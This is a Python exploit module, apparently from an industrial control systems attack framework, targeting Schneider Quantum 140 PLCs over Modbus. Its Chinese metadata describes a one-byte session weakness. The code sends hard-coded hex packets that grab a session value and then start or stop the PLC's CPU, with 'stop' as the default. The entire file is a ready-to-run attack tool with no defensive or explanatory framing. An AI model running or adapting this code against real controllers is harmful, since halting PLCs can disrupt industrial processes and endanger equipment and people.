#!/usr/bin/env python
# coding=utf-8
import socket
import time
from core.exploit import *


class MyScript(BaseExploit):
    register_info = {
        'ID': 'ICF-2017-00020001',
        'Name': '施耐德昆腾140系列PLC CPU控制',
        'Author': 'w3h',
        'License': ISF_LICENSE,
        'Create_Date': '2017-04-09',
        'Description': '''施耐德昆腾140系列PLC认证用户时Session使用是单比特，导致攻击者可以向PLC发送CPU控制指令。''',

        'Vendor': VENDOR.SID,
        'Device': ['Schneider Quantum 140'],
        'App': '',
        'Protocol': 'modbus',
        'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''},

        'Risk': RISK.H,  # H/M/L
        'VulType': VULTYPE.REP
    }

    register_options = [
        mkopt_rport(502),
        mkopt('--Command', help='The control commond of cpu', dest="Command", default="stop"),
    ]

    def exploit(self, *args, **kwargs):
        cmd = self.getParam("Command")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((self.TargetIp, self.TargetPort))

        if cmd.lower() == "start":
            self.start_cpu(sock)
        elif cmd.lower() == "stop":
            self.stop_cpu(sock)
        else:
            pass

        sock.close()

    def get_session(self, sock):
        send_buf = '013800000018005a0010337700000f57494e2d5039504b48485643495538'
        pp = send_buf.decode("hex")
        sock.send(str(pp))

        data = sock.recv(2048)
        data = str(data.encode("hex"))
        time.sleep(0.1)
        return data[-2:]

    def start_cpu(self, sock):
        session = self.get_session(sock)
        buff = '015300000006005a' + session + '40ff00'
        pp = buff.decode("hex")
        sock.send(str(pp))

    def stop_cpu(self, sock):
        session = self.get_session(sock)
        buff = '015800000006005a' + session + '41ff00'
        pp = buff.decode("hex")
        sock.send(str(pp))

MainEntry(MyScript, __name__)
